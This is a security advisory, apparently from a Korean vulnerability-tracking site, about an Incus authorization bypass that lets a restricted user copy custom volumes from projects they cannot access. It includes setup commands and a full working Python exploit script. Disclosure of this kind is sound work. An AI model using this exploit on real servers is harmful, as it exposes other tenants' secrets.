Incus has a project restriction bypass for custom volume copy across projects
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N상세 설명
Summary
Missing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.
Details
The storage volume creation handler authorizes creation in the target project, then passes req.Source.Project into the custom-volume copy path without checking that the caller can view the source volume. req.Source.Project is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to CreateCustomVolumeFromCopy. No allowPermission or entitlement check (e.g. CanView on the source volume) is performed.
The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.
PoC
Setup
Assume the target server is remotely accessible and a user/certificate has been added.
1# create a new project and instance 2incus project create secrets 3incus profile show default | incus --project secrets edit default 4incus --project secrets storage volume create default secret-vol 5 6# restrict an existing certificate to prevent access to the project 7incus config trust edit cert-fp 8#> set, for example 9restricted: true10projects:11 - default12 13# verification, with the restricted certificate14incus --project secrets storage volume ls remote:defaultExploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
1python3 poc.py --url https://IP-REMOTE:8443 \ 2 --cert path/to/client.crt --key path/to/client.key \ 3 --target-project default --source-project secrets \ 4 --source-volume secret-vol --name copy-secret-vol \ 5 --pool default --source-pool default \ 6 --insecureWait a bit for the custom volume to be copied, then incus storage volume ls remote:default to see the copied instance.
1#!/usr/bin/env python3 2"""Copy a custom storage volume from another project into an allowed project.""" 3 4from __future__ import annotations 5 6import argparse 7import json 8import ssl 9import sys10import urllib.error11import urllib.parse12import urllib.request13 14 15def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:16 ctx = ssl.create_default_context()17 if insecure:18 ctx.check_hostname = False19 ctx.verify_mode = ssl.CERT_NONE20 ctx.load_cert_chain(cert, key)21 req = urllib.request.Request(22 url.rstrip("/") + path,23 data=json.dumps(body).encode(),24 method="POST",25 headers={"Content-Type": "application/json", "Accept": "application/json"},26 )27 try:28 with urllib.request.urlopen(req, context=ctx) as resp:29 return resp.read()30 except urllib.error.HTTPError as exc:31 sys.stderr.write(exc.read().decode(errors="replace") + "\n")32 raise33 34 35def main() -> int:36 ap = argparse.ArgumentParser()37 ap.add_argument("--url", required=True)38 ap.add_argument("--cert", required=True)39 ap.add_argument("--key", required=True)40 ap.add_argument("--pool", required=True)41 ap.add_argument("--target-project", required=True)42 ap.add_argument("--source-project", required=True)43 ap.add_argument("--source-volume", required=True)44 ap.add_argument("--source-pool")45 ap.add_argument("--name", required=True, help="new volume name in target project")46 ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])47 ap.add_argument("--volume-only", action="store_true")48 ap.add_argument("--insecure", action="store_true")49 ap.add_argument("--dry-run", action="store_true")50 args = ap.parse_args()51 52 source = {53 "type": "copy",54 "name": args.source_volume,55 "project": args.source_project,56 "volume_only": args.volume_only,57 }58 if args.source_pool:59 source["pool"] = args.source_pool60 61 body = {62 "name": args.name,63 "type": "custom",64 "content_type": args.content_type,65 "source": source,66 }67 path = "/1.0/storage-pools/{}/volumes/custom?{}".format(68 urllib.parse.quote(args.pool, safe=""),69 urllib.parse.urlencode({"project": args.target_project}),70 )71 print(json.dumps(body, indent=2))72 if args.dry_run:73 return 074 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))75 return 076 77 78if __name__ == "__main__":79 raise SystemExit(main())Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 5
링크 내용 불러오는 중…